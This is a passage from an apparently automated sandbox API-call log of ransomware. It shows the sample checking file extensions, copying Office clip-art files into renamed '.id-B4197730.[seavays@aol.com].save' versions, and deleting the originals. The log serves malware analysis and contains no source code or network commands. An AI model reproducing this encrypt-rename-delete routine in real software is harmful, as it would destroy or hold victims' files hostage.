lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.980] lstrlenW (lpString=".docx") returned 5 [0175.980] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0175.980] lstrlenW (lpString=".pdf") returned 4 [0175.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.980] lstrlenW (lpString=".xls") returned 4 [0175.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.980] lstrlenW (lpString=".xlsx") returned 5 [0175.980] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0175.980] lstrlenW (lpString=".ppt") returned 4 [0175.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.980] lstrlenW (lpString=".zip") returned 4 [0175.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.980] lstrlenW (lpString=".rar") returned 4 [0175.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.980] lstrlenW (lpString=".bz2") returned 4 [0175.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.980] lstrlenW (lpString=".7z") returned 3 [0175.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.981] lstrlenW (lpString=".dbf") returned 4 [0175.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.981] lstrlenW (lpString=".1cd") returned 4 [0175.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.981] lstrlenW (lpString=".jpg") returned 4 [0175.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.981] lstrlenW (lpString=".doc") returned 4 [0175.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.981] lstrlenW (lpString=".docx") returned 5 [0175.981] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0175.981] lstrlenW (lpString=".pdf") returned 4 [0175.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.981] lstrlenW (lpString=".xls") returned 4 [0175.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.981] lstrlenW (lpString=".xlsx") returned 5 [0175.981] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0175.981] lstrlenW (lpString=".ppt") returned 4 [0175.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.981] lstrlenW (lpString=".zip") returned 4 [0175.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.981] lstrlenW (lpString=".rar") returned 4 [0175.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.981] lstrlenW (lpString=".bz2") returned 4 [0175.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.982] lstrlenW (lpString=".7z") returned 3 [0175.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.982] lstrlenW (lpString=".dbf") returned 4 [0175.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.982] lstrlenW (lpString=".1cd") returned 4 [0175.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.982] lstrlenW (lpString=".jpg") returned 4 [0175.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.982] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0175.982] lstrlenW (lpString="J0107502.WMF") returned 12 [0175.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.983] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=10836) returned 1 [0175.983] CloseHandle (hObject=0x518) returned 1 [0175.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220 [0175.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.984] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.984] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0175.985] GetLastError () returned 0x0 [0175.985] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2a54, lpOverlapped=0x0) returned 1 [0176.055] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0176.056] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.056] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.057] SetEndOfFile (hFile=0x538) returned 1 [0176.057] CloseHandle (hObject=0x538) returned 1 [0176.057] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.057] SetEndOfFile (hFile=0x518) returned 1 [0176.060] CloseHandle (hObject=0x518) returned 1 [0176.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0176.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.868] lstrlenW (lpString=".doc") returned 4 [0176.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.868] lstrlenW (lpString=".docx") returned 5 [0176.868] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.868] lstrlenW (lpString=".pdf") returned 4 [0176.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.868] lstrlenW (lpString=".xls") returned 4 [0176.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.868] lstrlenW (lpString=".xlsx") returned 5 [0176.868] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.868] lstrlenW (lpString=".ppt") returned 4 [0176.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.868] lstrlenW (lpString=".zip") returned 4 [0176.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.868] lstrlenW (lpString=".rar") returned 4 [0176.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.868] lstrlenW (lpString=".bz2") returned 4 [0176.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.868] lstrlenW (lpString=".7z") returned 3 [0176.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.869] lstrlenW (lpString=".dbf") returned 4 [0176.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.869] lstrlenW (lpString=".1cd") returned 4 [0176.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.869] lstrlenW (lpString=".jpg") returned 4 [0176.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.869] lstrlenW (lpString=".doc") returned 4 [0176.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.869] lstrlenW (lpString=".docx") returned 5 [0176.869] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.869] lstrlenW (lpString=".pdf") returned 4 [0176.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.869] lstrlenW (lpString=".xls") returned 4 [0176.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.869] lstrlenW (lpString=".xlsx") returned 5 [0176.869] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.869] lstrlenW (lpString=".ppt") returned 4 [0176.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.870] lstrlenW (lpString=".zip") returned 4 [0176.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.870] lstrlenW (lpString=".rar") returned 4 [0176.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.870] lstrlenW (lpString=".bz2") returned 4 [0176.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.870] lstrlenW (lpString=".7z") returned 3 [0176.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.870] lstrlenW (lpString=".dbf") returned 4 [0176.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.870] lstrlenW (lpString=".1cd") returned 4 [0176.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0176.870] lstrlenW (lpString=".jpg") returned 4 [0176.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.870] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.870] lstrlenW (lpString="J0107742.WMF") returned 12 [0176.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.873] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3644) returned 1 [0176.873] CloseHandle (hObject=0x518) returned 1 [0176.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220 [0176.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.874] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.874] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0176.876] GetLastError () returned 0x0 [0176.876] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xe3c, lpOverlapped=0x0) returned 1 [0176.878] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe40, lpOverlapped=0x0) returned 1 [0176.879] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.879] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.879] SetEndOfFile (hFile=0x538) returned 1 [0176.879] CloseHandle (hObject=0x538) returned 1 [0176.879] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.880] SetEndOfFile (hFile=0x518) returned 1 [0176.884] CloseHandle (hObject=0x518) returned 1 [0176.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0176.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.886] lstrlenW (lpString=".doc") returned 4 [0176.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.886] lstrlenW (lpString=".docx") returned 5 [0176.886] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.886] lstrlenW (lpString=".pdf") returned 4 [0176.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.886] lstrlenW (lpString=".xls") returned 4 [0176.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.886] lstrlenW (lpString=".xlsx") returned 5 [0176.886] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.886] lstrlenW (lpString=".ppt") returned 4 [0176.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.886] lstrlenW (lpString=".zip") returned 4 [0176.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.886] lstrlenW (lpString=".rar") returned 4 [0176.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.887] lstrlenW (lpString=".bz2") returned 4 [0176.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.887] lstrlenW (lpString=".7z") returned 3 [0176.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.887] lstrlenW (lpString=".dbf") returned 4 [0176.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.887] lstrlenW (lpString=".1cd") returned 4 [0176.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.887] lstrlenW (lpString=".jpg") returned 4 [0176.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.887] lstrlenW (lpString=".doc") returned 4 [0176.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.887] lstrlenW (lpString=".docx") returned 5 [0176.887] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.887] lstrlenW (lpString=".pdf") returned 4 [0176.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.887] lstrlenW (lpString=".xls") returned 4 [0176.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.888] lstrlenW (lpString=".xlsx") returned 5 [0176.888] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.888] lstrlenW (lpString=".ppt") returned 4 [0176.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.888] lstrlenW (lpString=".zip") returned 4 [0176.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.888] lstrlenW (lpString=".rar") returned 4 [0176.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.888] lstrlenW (lpString=".bz2") returned 4 [0176.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.888] lstrlenW (lpString=".7z") returned 3 [0176.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.888] lstrlenW (lpString=".dbf") returned 4 [0176.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.888] lstrlenW (lpString=".1cd") returned 4 [0176.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0176.888] lstrlenW (lpString=".jpg") returned 4 [0176.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.889] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.889] lstrlenW (lpString="J0107744.WMF") returned 12 [0176.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.891] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=5004) returned 1 [0176.891] CloseHandle (hObject=0x518) returned 1 [0176.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220 [0176.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.892] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.892] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0176.893] GetLastError () returned 0x0 [0176.893] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x138c, lpOverlapped=0x0) returned 1 [0176.896] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1390, lpOverlapped=0x0) returned 1 [0176.897] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.897] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.897] SetEndOfFile (hFile=0x538) returned 1 [0176.898] CloseHandle (hObject=0x538) returned 1 [0176.898] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.898] SetEndOfFile (hFile=0x518) returned 1 [0176.901] CloseHandle (hObject=0x518) returned 1 [0176.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0177.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.476] lstrlenW (lpString=".doc") returned 4 [0177.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.477] lstrlenW (lpString=".docx") returned 5 [0177.477] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0177.477] lstrlenW (lpString=".pdf") returned 4 [0177.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.477] lstrlenW (lpString=".xls") returned 4 [0177.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.477] lstrlenW (lpString=".xlsx") returned 5 [0177.477] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0177.477] lstrlenW (lpString=".ppt") returned 4 [0177.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.477] lstrlenW (lpString="C:\\Program 